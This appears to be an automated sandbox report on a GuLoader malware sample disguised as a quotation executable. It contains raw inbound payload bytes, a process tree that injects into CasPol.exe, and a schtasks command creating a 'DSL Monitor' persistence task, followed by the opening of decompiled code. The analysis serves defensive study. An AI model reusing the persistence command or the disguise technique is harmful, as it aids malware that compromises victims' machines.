2022-05-17 14:51:08 UTC	190	IN	Data Raw: 95 35 b9 bf 48 08 b9 ee 0b cd 7b a3 7b 00 06 66 0e 04 e8 05 97 5e 62 fb e5 ac ad 30 1d 59 dc ec 62 0a 36 2f cb fe be ce 25 17 9d a8 ea bd e6 ab 5c 5c 55 c9 7e 18 6e 95 10 8a 50 bf 1d dd 54 b4 f0 3f bf 9a df 79 87 ed 26 55 ff 68 68 0a 82 82 5e c7 8f 48 5c 74 92 21 b2 c9 b3 52 1e 38 ef 70 89 78 18 bd d5 87 7f ef 86 32 d8 c1 5f b8 2a 68 f8 d8 21 a6 5b 97 95 c8 ec 08 c2 a0 ba af ab bd c0 17 59 04 f8 23 26 44 f3 09 cf d9 28 ca fa b4 2d 39 53 76 8d 60 38 0c 96 a7 5a a1 b7 a2 76 3c 2d 28 a1 ea 9f 3a 02 31 e0 74 b4 2f e6 28 3e 82 29 3b b6 75 fe e2 4a ab 59 20 fc 68 63 d1 b6 bb 7f 21 6b fc 54 4a 9e 56 0c eb 0a f7 7e 48 d3 a8 7f a8 52 03 c0 54 81 92 81 13 6a 77 35 0a dc 44 5d d2 cd 22 ad 86 33 19 d7 7a e3 a1 a9 eb d6 d8 51 27 31 93 45 e7 8c c2 3c ba 1a a3 00 d7 05 Data Ascii: 5H{{f^b0Yb6/%\\U~nPT?y&Uhh^H\t!R8px2_*h![Y#&D(-9Sv`8Zv<-(:1t/(>);uJY hc!kTJV~HRTjw5D]"3zQ'1E<
2022-05-17 14:51:08 UTC	191	IN	Data Raw: db 90 1e 72 9d 66 27 6e 26 63 49 84 b5 5d d6 f2 e8 c3 2c 37 09 5c ec b1 17 2b 49 c5 40 56 95 58 0e 2a c2 93 c7 c5 8e 59 e2 e2 69 47 f4 01 4a b4 16 b2 58 a6 1c ff 69 4d 33 9b 41 91 9e 30 1b 25 b4 36 af bd 1f 92 a4 19 b6 de 77 16 9b a3 5b 2b 28 82 7a fd b6 7c 4e 6d c1 44 8e 4d ec c0 d7 09 90 61 f2 2a d8 2d bb cc 65 43 12 95 ea f9 ba b3 c1 41 d9 d5 01 1b 39 d6 87 5f ee b2 b2 84 ef 06 70 30 3f 7e f0 16 ee 67 3d 6a f2 7c 73 d7 5e b9 bd fa 10 3b 18 2d 5f 4d d5 85 fd 0a 31 40 67 ef ee 54 6d 2a d0 78 a7 54 ac ec a9 aa 08 23 b2 88 ca 45 47 90 39 a5 aa 13 e4 0f 4c 94 79 d7 cf 16 fb 33 71 ca 7b 48 c0 64 53 8e f7 3a c1 d8 f0 30 f0 2b 0b 1b 45 4d 32 80 d7 9a bd 40 bf 9b d1 9e a8 31 2b a4 33 0f 33 b7 f0 6b 08 7b 49 02 6f 7b 52 f6 53 78 49 f4 b7 88 59 35 1a f4 ca 45 f1 Data Ascii: rf'n&cI],7\+I@VXYiGJXiM3A0%6w[+(z\|NmDMa-eCA9_p0?~g=j\|s^;-_M1@gTm*xT#EG9Ly3q{HdS:0+EM2@1+33k{Io{RSxIY5E
2022-05-17 14:51:08 UTC	193	IN	Data Raw: 9f 3d fb e7 93 fc 4e 16 cd 0e b9 aa cb 2c f1 28 9b 32 bd 76 fc e3 37 04 f1 d8 28 06 75 78 e6 99 45 db 8a aa 5d db 51 74 cb f6 36 8e 24 ba df 59 1c 38 f9 55 69 a5 be 42 99 b4 d7 a8 2b 30 c6 e4 bf 87 08 e4 08 38 35 39 33 a4 17 0d 0b 50 26 37 ad 3b a0 aa ff fb b4 34 09 4f e1 6d b4 a7 a5 11 c3 08 e9 ee 87 2f 2b 78 d5 a9 e8 34 97 36 96 ee bb 69 62 d6 cb ca bb 4c f9 a5 28 33 a8 46 b6 86 ee b2 94 51 75 77 ec 5a 3a 11 ce c7 e3 07 6b 37 c9 f6 27 2b 84 40 52 f2 f5 8a ce d7 b4 29 c6 2d f5 77 45 8e be d4 5a 27 27 a6 8a 23 74 20 3d 4d 79 b7 40 6e ed db f4 7d 9f f8 c2 cc fa 0f b0 65 09 7f 73 24 7d 90 f7 f2 6a af 4e ac 1b b7 02 a9 f7 5b ad dd 52 f1 ea 92 6f 34 81 af 11 5b 77 ce 68 d6 62 c9 f8 76 98 a9 d3 82 b2 83 bd 89 a5 67 b3 a7 37 4f d3 55 a8 01 ee f3 bb 5a 54 5b 97 Data Ascii: =N,(2v7(uxE]Qt6$Y8UiB+08593P&7;4Om/+x46ibL(3FQuwZ:k7'+@R)-wEZ''#t =My@n}es$}jN[Ro4[whbvg7OUZT[
2022-05-17 14:51:08 UTC	194	IN	Data Raw: 9a 7f 71 8e f8 b9 d8 9b de de 3d 6f 23 a4 a5 4a df 58 08 72 0e f3 eb 56 d4 a9 9d 5c 01 f8 ba c2 08 41 f5 e4 aa eb 8b 8f b1 28 84 82 99 75 06 db 5e 90 00 e3 48 68 05 87 58 58 77 c2 75 f3 4e ff 88 69 66 1a 23 bc 5d c9 63 a2 65 5a 5f 3c f8 4a e4 9e f5 d8 62 ee d7 7d d9 64 1f 08 f5 6a fd 1d 86 d9 04 ec 61 c6 70 de 9a 80 a9 e3 a5 fb 98 40 5f 33 03 8e 7d 18 e6 64 24 9d aa 35 7b 74 9c 75 55 b4 2a a9 6a 08 e4 ed 30 cf 81 30 3d b3 d8 7d 40 06 54 e5 e0 61 34 75 0e a8 f9 78 65 fd 56 f2 cc c9 e3 b8 a0 40 5b 3f fd a6 c3 cf 09 6b a6 53 70 5c ff c0 e2 bb f6 29 26 18 eb 19 fb f4 04 ba 99 1f a3 bd a2 f5 93 58 ba ed 4d 61 b9 56 82 e8 e3 c6 36 d7 bc 4e a2 94 56 a9 a1 90 1d 30 e0 d4 97 53 8a ff 57 9a cb d3 c6 cb 0b 83 29 34 1d 9d 66 4a fe 14 0e 29 81 8e e7 36 cb 4b 64 81 34 Data Ascii: q=o#JXrV\A(u^HhXXwuNif#]ceZ_<Jb}djap@_3}d$5{tuU*j00=}@Ta4uxeV@[?kSp\)&XMaV6NV0SW)4fJ)6Kd4
2022-05-17 14:51:08 UTC	195	IN	Data Raw: ea 50 c9 34 2d a7 82 c6 f0 d4 86 61 ba 0e 3f c0 6c 3b e4 c5 56 1d ec 73 49 54 5b 19 e4 e1 57 ec 4e bf 3e b8 7a b6 d7 77 e0 8b 10 e1 eb ec 3c 78 c4 da f0 e7 7a b5 74 ea e7 14 bc ad 6a 8e ab ae 08 7f d2 3e 57 2f 1f 4d 33 a3 cd b2 7e 81 2b 6f bc e7 53 4b 84 ab e7 0b 94 0e d3 1b 51 12 94 4f f3 dd 7e 77 99 c1 d4 72 9c 66 72 52 63 17 3d 03 fa 03 e4 ae 75 49 4a ed d6 18 57 8b a6 40 e2 b8 7a ba 6b cd 58 80 46 20 95 ca a4 94 cd d2 55 a7 c3 2d f3 3e 71 46 b9 8d c5 89 f0 b1 43 ec 4e ea 0b 36 98 8a 48 65 9f b3 7d 31 f0 e0 a2 22 c4 9b cb bd 5f f7 13 b4 65 c0 5b 3f 69 0a ee 69 b6 2e 3b 19 76 6f 76 94 bc cb 17 ec 54 c3 74 ee ad 23 5b 8a 1e 45 2f 70 fe 12 78 0f 8f ec 8c b2 07 0f 63 54 9b 9e 85 6f 13 80 50 37 9d a1 52 1c dc 1b b8 5d 00 fc 68 1f 08 bf 52 6e 99 2f 43 ab a9 Data Ascii: P4-a?l;VsIT[WN>zw<xztj>W/M3~+oSKQO~wrfrRc=uIJW@zkXF U->qFCN6He}1"_e[?ii.;vovTt#[E/pxcToP7R]hRn/C
2022-05-17 14:51:08 UTC	196	IN	Data Raw: 2b e7 4e 37 e5 58 64 10 1b 95 b3 c9 1b 91 37 24 6b 23 2a 82 20 5b 1e ce 31 12 12 a4 e7 bd 71 0c 5d 18 4f 9e be ef a6 89 59 58 3e 2a c1 fb 6d e2 1c 41 c4 16 13 45 5e 6b 84 cc da b0 50 dc 61 59 5e b9 18 dd 16 de 73 0e 9e 3c fc a0 df d3 26 c1 c2 93 43 91 3d 01 63 ee 70 3f 7f c7 f4 58 91 93 fd 7d 3b c2 99 30 af b9 c5 8e ee 2e cf 78 f5 4e 85 79 b4 5e f6 19 71 83 0e 54 47 be 42 4c 9a 15 67 89 40 42 86 70 af c8 25 33 c9 93 08 9a cb 86 0c b7 9a 79 4f be 05 97 62 a3 b8 47 b7 60 04 1b 50 1f a6 a1 fd 32 a5 ca 4c 93 65 28 3b ef 2f 11 0e aa b0 2b e9 76 e6 22 30 49 e9 5d e1 90 6b 15 f8 e6 1c ac f5 d0 2b 28 58 26 90 db d5 4d 61 5c f8 c3 8a c4 ad 49 5d 67 a7 52 23 ec 3d e2 97 7f 4f 3c 7b c3 9f 00 dc ac b8 d9 5f e5 7d 36 fb 45 4d 7d 48 18 3f 10 28 4c 55 97 fb 68 71 b9 fb Data Ascii: +N7Xd7$k#* [1q]OYX>*mAE^kPaY^s<&C=cp?X};0.xNy^qTGBLg@Bp%3yObG`P2Le(;/+v"0I]k+(X&Ma\I]gR#=O<{_}6EM}H?(LUhq
2022-05-17 14:51:08 UTC	198	IN	Data Raw: 52 cf a0 cb a0 a6 01 db 85 09 01 ed f3 6e 59 71 c6 5b 7d b0 9b dd ff 0b ec 73 e4 52 cf 3a 29 d0 fc 96 85 ef 87 6d 0e db 8c 0c 08 5d e2 09 6f c1 bd c0 1d e0 95 bd e5 e1 e4 70 67 1e 2e c3 ff a7 15 e6 f5 bb e7 de 64 b4 61 39 8b e7 d3 5a 5d 96 f8 fe db 23 8b 78 c7 93 69 ec 29 db 72 9b ad 01 45 5e b0 3e 1d 44 8c f9 5a 7d e3 4f d7 e8 e0 93 49 be 61 bb 13 d4 41 b7 81 98 57 24 95 49 1c 78 3c e9 07 f2 98 13 56 eb 9b d1 b3 4e 16 4a a5 7d 4a c9 28 f3 0d 84 07 70 1f 60 b6 00 1d 38 20 fa 41 9c b8 c9 8a 0d da 51 49 ec 14 fa 07 37 c2 ad d0 90 ec e0 57 2d 47 3e b1 02 e3 81 b2 cd 63 c1 1c 03 c9 1d 87 59 ce 27 7a 4d fa 7d 53 e6 41 b0 c0 25 77 c6 98 4e 21 59 65 4e 99 ac 32 81 2e 61 e7 96 0c 6a 2b 57 53 a2 d2 b4 e4 9a d6 8d 48 c1 da 80 42 a3 bb eb 7c 52 d2 82 02 f5 99 8d 63 Data Ascii: RnYq[}sR:)m]opg.da9Z]#xi)rE^>DZ}OIaAW$Ix<VNJ}J(p`8 AQI7W-G>cY'zM}SA%wN!YeN2.aj+WSHB\|Rc
2022-05-17 14:51:08 UTC	199	IN	Data Raw: ae 5d 81 6b 6b 9a f0 dd 74 19 0b 9a 15 c8 b8 be ec f4 6d 70 14 fb c6 d6 bf 6c 38 47 4a 1d 54 24 54 ec d6 62 5d 33 e9 d3 97 90 42 78 5d f6 1f d6 28 e6 47 99 7d 36 61 08 ed 23 b5 ff 3e ba b9 e2 f7 58 e6 1a 23 1e 23 b9 5c 25 3c 2a 9c 24 0d 28 20 8c bb d2 57 35 ea 6f 1a 1c 7c 0d 54 74 cd 68 73 4d d0 8b f3 b7 6d 9a 83 10 0a b3 43 33 43 8d 4e ec 56 a9 b4 f0 c0 7d d9 28 14 f1 03 ca 08 b5 87 68 c6 cf d8 d0 6f 65 0c 59 35 ed d3 d4 03 eb 8d 9d 4e 95 33 5e bd 12 df 2e bc 62 f3 ec 5b 12 3b 86 a3 ca 49 85 c4 87 09 9d f0 1b ae 8d 1d 38 2b 87 05 00 28 ac 30 e6 14 d0 5e c5 5b b5 11 0f 45 4e 12 d9 42 55 97 25 a3 31 3f 80 78 80 f6 e4 a7 51 a7 37 02 15 e0 4c c1 c4 94 ee f7 9d c8 d6 97 ab d4 5b 1a ba f0 15 00 29 1d 52 54 44 90 92 a6 0f 18 53 6a 42 26 30 3b 1e 0d 51 7b 0b d0 Data Ascii: ]kktmpl8GJT$Tb]3Bx](G}6a#>X##\%<*$( W5o\|TthsMmC3CNV}(hoeY5N3^.b[;I8+(0^[ENBU%1?xQ7L[)RTDSjB&0;Q{
2022-05-17 14:51:08 UTC	200	IN	Data Raw: 03 e5 fe ef a2 dc 58 5a 75 b0 70 8e 23 51 0f f0 11 dd 18 5b 4e da 13 fd 71 a9 63 49 ea 32 47 bf 7b e6 61 2e 68 24 8e 5f 66 6c 11 74 35 fd c1 46 e6 a7 e8 d5 a2 8e 17 d7 d2 fa 5a 73 62 08 b4 1d eb f4 19 cd d9 a8 31 8a 38 b9 f2 8c ee 72 18 88 e4 8d 6e 97 2c 17 13 be eb 7e ac ae e6 2a 6e 56 78 96 44 da 12 53 9b f8 9b 08 45 45 b9 60 62 a0 ac b1 bd d0 7c 5a 43 91 8d ab c1 79 57 e6 35 54 bb 05 09 d3 af 71 94 16 2f bc 1f de 64 a1 77 fc 4c f7 f0 4e b3 d0 7d e0 29 4c d2 7c 21 b2 82 cd 57 a1 d5 35 9f 2b 65 dc 75 47 96 52 70 11 d1 74 82 4b e4 01 29 a9 64 4c b4 57 cc a2 84 3d 8c e0 e8 bd 09 1c f7 94 71 b3 8f 11 60 b8 2c 3e 5b 23 d1 b0 b3 f9 69 1b 6a da ef eb 94 6e 54 33 9b 7c e4 84 f8 9f b9 6e 5d 8e 4e 76 5d 36 71 f8 29 57 cd fd 6a cd 4b 16 a9 12 1d a9 73 27 86 7a ca Data Ascii: XZup#Q[NqcI2G{a.h$_flt5FZsb18rn,~*nVxDSEE`b\|ZCyW5Tq/dwLN})L\|!W5+euGRptK)dLW=q`,>[#ijnT3\|n]Nv]6q)WjKs'z
2022-05-17 14:51:08 UTC	202	IN	Data Raw: 44 fd f7 b6 57 07 60 5f 65 89 ca ae 53 d2 12 b8 bc 2e 40 a2 b4 0f 5c d1 14 34 1f d6 d7 fa e0 d5 f1 4c 89 fe c4 0c af 51 4a 48 87 fa 56 13 84 e5 98 0c 1d 95 f8 90 8e 04 0e 20 bd f8 a6 ab a0 2f 51 5d 53 05 ff c6 bf 7d 56 01 5d 24 7a 80 f6 9d cd 5c 65 67 b6 5a cc 6b 2d 21 ba 6a 65 9e 68 31 9f de 44 2c 09 97 f6 0a 35 de e8 b1 e0 68 b5 cf 84 9f cb 08 2b 9a 87 fd 23 dc 22 0c fb 2d 0f ba 4d df c7 2d 22 1b f4 b2 52 2f 63 f0 a3 52 db 80 4d dd 6a de a9 ce 73 2a 59 1d e1 49 8b 34 ab 12 19 34 6b 92 35 52 91 58 3c de 97 5c 3e b1 8e 9d 25 dd ad 3d 22 e9 b5 e7 eb 5f 33 dc 50 7b 8d 89 82 59 fe 28 ce 37 d6 89 06 d2 dc d1 7a 9c 27 12 57 98 69 2c 9f 25 f1 55 ac ff f3 1a 22 d8 15 5b 71 49 ed a7 1d b3 0a 4b 78 a9 c1 f1 81 c9 47 5f db 58 71 63 79 2b 30 a3 e5 a8 0e b2 e5 e8 33 Data Ascii: DW`_eS.@\4LQJHV /Q]S}V]$z\egZk-!jeh1D,5h+#"-M-"R/cRMjs*YI44k5RX<\>%="_3P{Y(7z'Wi,%U"[qIKxG_Xqcy+03
2022-05-17 14:51:08 UTC	203	IN	Data Raw: 65 f3 38 5f 5b 39 11 7b b2 95 ee c4 71 9d 5f 78 d2 20 63 9a f2 c4 8f 77 aa 42 40 07 d5 11 73 ae 38 e4 cf ab c8 6a 67 82 c3 88 39 2e ae 3a 81 b2 c3 fe 9c 2c 75 3d 93 a2 cb d0 42 33 ac 37 79 02 68 8c 29 4f 2f 75 aa ee 37 e2 46 39 2d b9 dc 59 f2 42 19 f9 79 9c db 61 7f 68 0b 0a a7 f6 79 b1 cc 17 90 1f b7 8f 69 8a 3e a5 8b 62 63 57 73 70 2a 9f 20 8c c3 e9 ef da 89 ae 9e 0e 4f f2 de a9 7f ed fb 55 c7 83 d1 01 08 05 cf 42 76 a8 fd 10 98 c6 70 b7 e3 92 bb ae 71 36 17 af 53 c4 22 ce 1f 11 40 6b 53 b2 1b b5 c6 35 60 46 06 a7 b1 0d d1 bd 87 d1 60 90 e9 96 52 e2 49 b9 90 1d 04 6a 4f 27 3a 9b e5 80 c4 af b8 bf 8f 49 25 19 b8 68 00 a2 eb 80 06 2c ef 7b 5c 00 ea 76 94 b5 77 df 37 82 57 eb 07 fc a3 18 e0 00 70 f5 94 75 a9 33 71 b6 34 73 17 d5 e6 ba 0a 5e dc a2 29 b5 8d Data Ascii: e8_[9{q_x cwB@s8jg9.:,u=B37yh)O/u7F9-YByahyi>bcWsp* OUBvpq6S"@kS5`F`RIjO':I%h,{\vw7Wpu3q4s^)
2022-05-17 14:51:08 UTC	204	IN	Data Raw: ea 20 86 67 7a 7a 04 59 0e 60 a0 8e d2 cd ac 5b 89 ee 2d d3 9e 18 03 fd 0a ce 84 b4 1d ba 66 b5 99 3f ac 63 8b 76 25 42 aa 77 97 4b e0 0d aa 0a 37 e8 ab 1f 4b 49 4a 63 a3 9f 8a c0 f4 65 4b 38 3b f4 d0 9c 99 1c 9c 9b 2e 53 4e c5 81 e9 a2 4c 62 4a ab 55 b1 88 c9 72 ef 3b d3 56 d5 64 f4 93 0b 9f 24 3e c5 1f d7 cd b8 f9 f9 01 b0 6a da 8c 3f 2a 37 03 29 6c 85 65 62 57 c1 ef 04 05 3e 65 69 b3 06 0f 82 07 0a 9c c2 fe 53 be a1 c1 aa ad 4f 01 0d 10 30 e3 71 b7 36 9a c5 2c 88 8f 14 23 50 3d 0b 1e 36 14 26 b3 6e 90 a2 27 a9 e5 7b e6 ff 1f cd f7 09 35 70 a4 8c 33 ff 1b 43 20 ec e9 5e 58 b6 6e c9 25 05 8f 2c 9a b8 9b 61 06 f1 f3 5a fe 8a 9c 6e 69 dc f3 5b f4 b5 0b ed 3c a6 64 2f 56 89 01 19 36 d7 dc 94 89 4d 9c 92 14 8b fb b4 14 e3 cb 70 6f 58 67 d7 c8 67 8d 77 45 13 Data Ascii: gzzY`[-f?cv%BwK7KIJceK8;.SNLbJUr;Vd$>j?*7)lebW>eiSO0q6,#P=6&n'{5p3C ^Xn%,aZni[<d/V6MpoXggwE
2022-05-17 14:51:08 UTC	205	IN	Data Raw: d5 9c c1 f6 d5 05 a3 11 23 6a e8 a6 2f 5b 70 28 bc 9c 0d 9a d0 11 b5 09 e6 00 6b 3d e1 93 cf 8a 78 71 a7 5d f8 a9 29 44 2a d4 53 15 2b 8a 6b a0 80 fd d4 38 ce 17 a5 ea ac 4a 56 3f 9c 66 79 c5 87 b3 e1 c1 64 14 96 33 80 dd f6 67 0a 33 de a8 c3 82 cb a8 5e 3f df 1c e8 53 39 a3 45 10 02 ba db 50 63 20 8a 78 90 30 be c7 39 33 ff 68 2f de 59 bc ab c2 73 0f 2d 19 7b 81 00 48 d6 51 3e 9d c0 3f de 3e 22 00 66 be f1 44 d6 d1 d5 92 1d 8d 1d ff d3 05 6a dc 86 04 32 08 7d 58 36 3b 9f 8e 60 0e 71 e9 46 d0 86 d1 8f 8a f2 d0 ef 68 5b d8 2e 3c 26 97 29 35 2c 87 0a a9 4a 8f 33 80 4f 3a db 26 f0 6d 50 51 52 38 9c f7 46 5f 2a d0 73 e1 0d 6e 24 25 5b 63 fb 2e 38 49 cc 71 18 c2 81 b3 46 0a 2a 43 19 cb 7e e6 ba 6e a7 32 e8 06 94 6b fc 23 0e 2a 6f d2 70 4e 82 e0 33 84 d5 d9 ef Data Ascii: #j/[p(k=xq])DS+k8JV?fyd3g3^?S9EPc x093h/Ys-{HQ>?>"fDj2}X6;`qFh[.<&)5,J3O:&mPQR8F_sn$%[c.8IqFC~n2k#opN3
2022-05-17 14:51:08 UTC	207	IN	Data Raw: 01 7e 29 4c 75 2f d6 24 39 5b 3f ea cb 89 00 e4 ec a6 c0 04 c6 25 7d 24 77 9a d3 58 a2 58 24 e4 b4 54 8c 27 ca e8 f2 70 36 7f 72 be 01 b6 d9 02 14 a7 cf 4d 9b cc b3 61 6c 9f b9 94 f1 8e 93 06 18 34 61 72 35 9f 18 93 37 0f 7f 0b 15 21 8e cd f6 75 07 5d 85 d5 f2 65 90 78 83 80 10 6d 1b ad 6d b2 0a ad 69 d8 34 ba 23 a5 c9 6e 67 e9 be ee c2 7d bd f8 33 c7 2e 56 9f 76 28 97 7a c4 27 0c 8e 85 1f 46 b4 3e 19 7e 77 c2 6e 9f 8b 99 30 ee f5 70 7a cd e1 d1 2d 51 0d 50 ec 1b 1e ef ba fd dc c8 83 c2 a7 aa 4c 39 99 ef 0f 7b 5c eb 7e ed 83 64 44 d5 c8 ee 04 2e 61 63 2f b7 71 89 8c 9c bb c8 d3 c3 73 a2 cb 3c 2d 3d d7 f9 12 28 18 27 56 1e 6d 93 5d 3f a9 e6 96 ee 82 29 6e 70 bd 0b ec 5b a1 a3 a6 8e a3 d1 63 f8 74 5b 7c 3f ef 93 32 c9 ed fb 0b 8f e4 4a cd 84 73 c0 c7 7c be Data Ascii: ~)Lu/$9[?%}$wXX$T'p6rMal4ar57!u]exmmi4#ng}3.Vv(z'F>~wn0pz-QPL9{\~dD.ac/qs<-=('Vm]?)np[ct[\|?2Js\|
2022-05-17 14:51:08 UTC	208	IN	Data Raw: 19 53 77 0d 36 d4 4a 25 90 2a 51 d1 50 2c 48 19 78 db 99 e0 b0 ec 9c 51 ff 14 56 a4 ce 96 71 14 71 15 9a f9 35 25 6d ed f7 bf 15 1b 3e 32 b2 3c 06 bc ec b6 65 03 a1 2f d8 a0 2e f0 a5 a0 03 a8 90 96 43 93 79 90 8c 3d 03 dc a5 2f 08 a1 93 9e 1e 08 16 48 50 1c e6 21 20 2e 09 8e 1e 58 6c 01 b5 69 01 9c 60 cf 75 8d 3e de 2d 6a 50 63 02 6a 4e 76 3a 76 6b bc f3 0a e7 a0 be 50 c2 42 f2 fa 98 92 2e 59 53 68 68 b2 bb 6d 34 84 93 ab 2d 1e 22 e6 e8 2d 13 b8 f7 09 69 8b 7c d0 96 ce ed dc 74 16 a4 b7 04 60 75 1a 5b c5 fd 5a 84 96 13 43 e1 a1 88 26 7c 62 d4 16 1e 47 0b 7b 8e 43 f4 0b 2b a0 e6 d5 3a b4 d1 2b 64 ad 7b 33 77 9b 03 9c ac 33 ba 9e a9 cc d9 a1 ee 15 a1 df 3c 2f d3 8b 4f 00 03 74 17 cc c5 c4 6b f2 fa 7d 33 e4 87 9a e0 7b cd 31 ca c6 59 35 a1 12 21 32 0c df 03 Data Ascii: Sw6J%*QP,HxQVqq5%m>2<e/.Cy=/HP! .Xli`u>-jPcjNv:vkPB.YShhm4-"-i\|t`u[ZC&\|bG{C+:+d{3w3</Otk}3{1Y5!2

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: QT_0948765446-NMPMUST-9876563783.exePID: 2036, Parent PID: 4100

General

Target ID:	0
Start time:	16:50:34
Start date:	17/05/2022
Path:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Imagebase:	0x400000
File size:	260733 bytes
MD5 hash:	155A8B146F63FCECC360CC1162974373
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 7184, Parent PID: 2036

General

Target ID:	11
Start time:	16:50:50
Start date:	17/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Imagebase:	0x460000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 7192, Parent PID: 2036

General

Target ID:	12
Start time:	16:50:51
Start date:	17/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Imagebase:	0x120000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 7200, Parent PID: 2036

General

Target ID:	13
Start time:	16:50:51
Start date:	17/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Imagebase:	0x560000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 7208, Parent PID: 2036

General

Target ID:	14
Start time:	16:50:51
Start date:	17/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe"
Imagebase:	0x920000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000E.00000000.2626503935.0000000000D00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7216, Parent PID: 7208

General

Target ID:	15
Start time:	16:50:51
Start date:	17/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff79cc00000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5960, Parent PID: 7208

General

Target ID:	17
Start time:	16:51:09
Start date:	17/05/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp
Imagebase:	0xe60000
File size:	187904 bytes
MD5 hash:	478BEAEC1C3A9417272BC8964ADD1CEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6248, Parent PID: 5960

General

Target ID:	18
Start time:	16:51:09
Start date:	17/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff79cc00000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 6060, Parent PID: 1416

General

Target ID:	19
Start time:	16:51:10
Start date:	17/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0
Imagebase:	0x370000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1604, Parent PID: 6060

General

Target ID:	20
Start time:	16:51:11
Start date:	17/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff72b730000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: QT_0948765446-NMPMUST-9876563783.exePID: 2036, Parent PID: 4100COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	28.1%
Signature Coverage:	30.2%
Total number of Nodes:	1309
Total number of Limit Nodes:	48

Executed Functions

Function 00403640 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				WCHAR* _t92;
				char* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t120;
				intOrPtr* _t124;
				void* _t138;
				void* _t144;
				void* _t149;
				void* _t153;
				void* _t158;
				signed int _t168;
				void* _t171;
				void* _t176;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr* _t180;
